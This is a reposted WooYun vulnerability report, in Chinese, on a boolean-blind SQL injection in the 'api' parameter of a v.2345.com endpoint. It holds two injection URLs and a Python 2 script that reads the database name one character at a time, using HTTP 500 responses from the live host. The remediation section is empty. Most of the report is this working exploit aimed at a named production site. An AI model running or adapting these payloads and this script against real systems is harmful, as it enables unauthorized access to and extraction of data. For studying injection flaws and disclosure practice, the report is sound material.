神刀安全网

漏洞标题: 2345网址导航某站存在SQL注入(附验证脚本)

漏洞详情

披露状态:

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

– = !

详细说明:

布尔盲注,访问:

http://v.2345.com/moviecore/server/variety/index.php?act=ajaxMoreEpisode&api=-1%27%20or%201=3–%20&ctl=newDetail&id=18363&month=0&nowTotal=14&time=1461014443020&timeStamp=1461014443020&title=%BB%B6%C0%D6%CF%B2%BE%E7%C8%CB&total=14&year=2015

提示null

访问:

http://v.2345.com/moviecore/server/variety/index.php?act=ajaxMoreEpisode&api=-1%27%20or%201=1–%20&ctl=newDetail&id=18363&month=0&nowTotal=14&time=1461014443020&timeStamp=1461014443020&title=%BB%B6%C0%D6%CF%B2%BE%E7%C8%CB&total=14&year=2015

500错误

漏洞标题:  2345网址导航某站存在SQL注入(附验证脚本)

漏洞证明:

database()长度为13

#encoding=utf-8

import httplib

import time

import string

import sys

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',

}

payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')

print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())

database = ''

for i in range(1,14,1):

for payload in payloads:

conn = httplib.HTTPConnection('v.2345.com:80', timeout=20)

conn.request(method='GET', url="/moviecore/server/variety/index.php?act=ajaxMoreEpisode&api=-1%27%20or%20ascii(substr(database(),"+str(i)+",1))="+str(ord(payload))+"–%20&ctl=newDetail&id=18363&month=0&nowTotal=14&time=1461014443020&timeStamp=1461014443020&total=14&year=2015")

status = conn.getresponse().status

if status == 500:

database += payload

print '/r[scan in progress]' ,database

time.sleep(0.01)

break

conn.close()

print ''

print 'database() is', database

漏洞标题:  2345网址导航某站存在SQL注入(附验证脚本)

修复方案:

.

版权声明:转载请注明来源 Vinc@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 2345网址导航某站存在SQL注入(附验证脚本)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址